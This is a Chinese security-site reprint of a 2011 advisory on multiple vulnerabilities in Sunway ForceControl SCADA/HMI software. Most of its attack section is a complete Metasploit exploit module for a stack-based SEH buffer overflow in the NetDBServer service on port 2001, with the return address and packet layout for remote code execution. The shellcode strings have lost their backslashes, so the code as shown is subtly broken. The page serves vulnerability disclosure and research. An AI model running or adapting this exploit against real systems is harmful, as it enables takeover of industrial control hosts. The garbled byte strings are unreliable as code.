Welcome 微信登录
编程资源 图片资源库 蚂蚁家优选 PDF转换器

首页 / 操作系统 / Linux / Sunway ForceControl多个安全漏洞

发布日期:2011-09-23
更新日期:2012-02-03受影响系统:
Sunway ForceContro 6.1 SP3
Sunway ForceContro 6.1 SP2
Sunway ForceContro 6.1 SP1
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 49747Sunway ForceControl是中文的SCADA/HMI软件。ForceControl在实现上存在多个安全漏洞,远程攻击者可能利用此漏洞在目标系统上执行任意代码,检索服务器根目录外的任意文件,造成拒绝服务。<*来源:Luigi Auriemma (aluigi@pivx.com)
 
  链接:http://aluigi.altervista.org/adv/forcecontrol_1-adv.txt
*>测试方法:
--------------------------------------------------------------------------------
警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!Luigi Auriemma (aluigi@pivx.com)提供了如下测试方法:##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require "msf/core"
class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::Seh
    def initialize(info = {})
        super(update_info(info,
            "Name"           => "Sunway Forcecontrol SNMP NetDBServer.exe Opcode 0x57",
            "Description"    => %q{
                    This module exploits a stack based buffer overflow found in the SNMP
                NetDBServer service of Sunway Forcecontrol <= 6.1 sp3. The overflow is
                triggered when sending an overly long string to the listening service
                on port 2001.
            },
            "Author"         => [
                        "Luigi Auriemma", # original discovery
                        "Rinat Ziyayev",
                        "James Fitts"
                    ],
            "License"        => MSF_LICENSE,
            "References"     =>
                [
                    [ "BID", "49747" ],
                    [ "URL", "http://aluigi.altervista.org/adv/forcecontrol_1-adv.txt" ],
                ],
            "DefaultOptions" =>
                {
                    "EXITFUNC" => "thread",
                },
            "Privileged"     => true,
            "Payload"        =>
                {
                    "DisableNops" => "true",
                    "BadChars" => "x0ax0dxae",
                },
            "Platform"       => "win",
            "Targets"        =>
                [
                    [
                        # p/p/r ComDll.dll
                        "Windows", {  "Ret" => 0x100022c4 }
                    ],
                ],
            "DefaultTarget"  => 0,
            "DisclosureDate" => "Sep 22 2011"))
        register_options(
            [
                Opt::RPORT(2001)
            ], self.class )
    end
    def exploit
        connect
        header =  "xebx50xebx50"
        header << "x57x00"  # packet type
        header << "xffxffx00x00"
        header << "x01x00"
        header << "xff"
        footer = " "
        packet = rand_text_alpha_upper(65535)
        packet[0,header.length] = header
        packet[293,8] = generate_seh_record(target.ret)
        packet[301,20] = make_nops(20)
        packet[321,payload.encoded.length] = payload.encoded
        packet[65533,2] = footer
        print_status("Trying target %s..." % target.name)
        sock.put(packet)
        handler
        disconnect
    end
end建议:
--------------------------------------------------------------------------------
厂商补丁:Sunway
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:http://www.sunwayland.com.cn/pro.aspApple iOS Libinfo组件信息泄露漏洞RoundCube Webmail “_mbox”参数跨站脚本执行漏洞相关资讯      Sunway ForceControl  本文评论 查看全部评论 (0)
表情: 姓名: 字数


评论声明
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或删除其管辖留言中的任意内容
  • 本站有权在网站内转载或引用您的评论